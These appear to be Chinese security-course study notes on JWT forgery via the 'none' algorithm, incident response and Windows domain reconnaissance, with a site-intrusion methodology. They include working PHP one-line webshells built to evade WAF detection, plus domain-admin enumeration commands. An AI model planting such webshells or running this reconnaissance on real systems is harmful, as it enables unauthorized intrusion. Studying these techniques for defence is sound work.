JWT安全

JWT简介

  • 用户登录,用户名和密码在请求中发往服务端。
  • 确认登录信息正确后,服务端生成 JSON 头部和声明,将登录信息写入 JSON 的声明中(通常不写入密码,因为 JWT 是不加密的),并用指定算法进行加密,生成用户的 JWT 。此时,服务端并没有保存用户的登录状态信息。
  • 服务端将 JWT 通过响应发给客户端。
  • 用户进行下一次会话时,客户端自动将 JWT 写在请求头中。
  • 服务端对 JWT 进行验证,若验证通过,则确认此用户的登录状态。
  • 服务端返回响应。

一种利用JWT的攻击方式

​ 窃取他人已使用过的 JWT ,将签名算法改为 none ,并修改已失效的时间戳为有效时间戳,然后利用重新构造的 JWT 进行登录。不过如果服务端检测签名算法,或对时间戳有某种限制,这种攻击方式就失效了。

一句话木马绕过

  1. 变量绕过:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    <?php
    $a = $_GET['x'];
    $$a = $_GET['y'];
    $b($_POST['cmd']);
    ?>
    //?x=b&y=eval
    //演变过程
    $a = b
    $b = eval
    eval($_POST['cmd'])

    为什么这样写,而不直接 $a($_POST['cmd']); ,是避免 waf 的参数追踪。waf 检测到 $a 可控,并后续参与了木马执行。而换一种写法,在木马执行语句中,$b 在代码层面上属于未声明变量,所以可绕过 waf 。

  2. 编码绕过:

    1
    2
    3
    4
    5
    6
    <?php
    $a = $_GET['x'];
    $$a = $_GET['y'];
    $b(base64_decode($_POST['cmd']));
    ?>
    //?x=b&y=cGhwaW5mbygpOw==

    避免 waf 对参数值进行敏感词过滤。

  3. 代码加密。找工具,类似 JS 混淆这样的。

  4. 异或、同或…类似 RCE 的绕法。安全是相通的。

  5. 组合拳。

  6. 修改蚁剑的指纹。

小迪安全 P48 ,51分钟~1小时19分,一个很好的 RCE 绕过思路。

​ 安全是相通的,思维要活跃,也吃经验。waf 是不可能把所有都写死的,不然留给业务逻辑的可用东西就很少,而且容易错杀,绕过就是在给出的余地中构造。

日站思路

  1. CMS 识别,针对该 CMS 的漏洞进行测试。

    无果,下一步。

  2. 找网站后台(即后台登录界面),针对后台进行测试。

    无果,下一步。

  3. 端口扫描,根据端口对应的服务进行测试,如 888 对应宝塔。

    无果,下一步。

  4. 寻找网站备份文件,然后慢慢解读。比如能找到数据库相关文件,用 Navicat 尝试连接网站数据库。

实战:小迪安全 P42 1小时06分之后。

Java序列化标志

​ 一段数据以 rO0AB 开头,可以基本确定是 Java 序列化后 Base64 加密的数据。

​ 如果以 aced 开头,则是 Java 序列化后的 16 进制数据。

应急响应

​ 没有公司信息的进程为可疑。在 hkkvjuvffo 工具中,标蓝的进程为外部进程,即非系统自带,不过有些是安全的,需要手动识别。

​ 找到可疑进程,如何判断是不是木马呢?

  1. 这个进程执行后在干什么。
  2. 重点,是否建立外部通信。因为木马的利用一定是要与攻击者建立联系。在上述页面中,查看网络相关项。

​ 找到木马后,还要分析木马什么时候被执行,如开机自启动,或者开启其他服务的时候。工具:UserAssistView 。在这个工具里找到执行时间,配合日志进行分析。


​ 案例:


​ 应急响应的五个阶段:保护、分析、复现、修复、建议。

​ 目的:分析攻击时间、攻击操作、攻击后果、安全修复等并给出合理的解决方案。


​ 从表现预估入侵面及权限面进行排查。

  • 有明确信息网站被入侵:

    基于时间、基于操作、基于指纹、基于其他。

  • 无明确信息网站被入侵:

    1. WEB 漏洞 - 检查源码类别及漏洞情况。
    2. 中间件漏洞 - 检查对应版本及漏洞情况。
    3. 第三方应用漏洞 - 检查是否存在漏洞应用。
    4. 操作系统层面漏洞 - 检查是否存在系统漏洞。
    5. 其他安全问题(口令、后门等) - 检查相关应用口令及后门扫描。

内网安全

ipconfig /all ,如果第一项的“主机DNS后缀”不为空,则该计算机位于内网。


​ 域控制器(Domain Controller)是计算机网络中的一个重要角色,通常运行在 Windows 上,用于管理和维护一个 Windows 域(Domain)中的用户帐户、计算机、安全策略和其他网络资源。域控制器是 Windows 域中的关键服务器,有助于管理和保护网络资源,简化用户管理,并提供一致的用户体验。

​ 域控制器是指在“域”模式下,至少有一台服务器负责每一台联入网络的电脑和用户的验证工作,相当于一个单位的门卫一样,简写为 DC 。

net view /domain 命令用于在 Windows 系统中显示当前机器连接到的网络中所有域的列表。

net time /domain 命令用于查看 Windows 系统中计算机与域控制器同步的时间信息。通过运行此命令,可以查看域控制器的时间设置,以确保计算机与域中的时间同步正确。

​ 查看 DC 的 IP 地址:

​ 得到 DC 名称后,用 ping 命令也行。


​ 计算机基本信息搜集指令:

  • systeminfo 详细信息
  • net start 启动服务
  • tasklist 进程列表
  • schtasks 计划任务

​ 用户信息搜集指令:

  • whoami /all 用户权限
  • net config workstation 登录信息
  • net user 本地用户
  • net localgroup 本地用户组
  • net user /domain 获取域用户信息
  • net group /domain 获取域用户组信息
  • wmic useraccount get /all 涉及域用户详细信息
  • net group “Domain Admins” /domain 查询域管理员账户
  • net group “Enterprise Admins” /domain 查询管理员用户组
  • net group “Domain Controllers” /domain 查询域控制器

​ 建立 IPC 常见的错误代码:

​ 建立 IPC 失败的原因: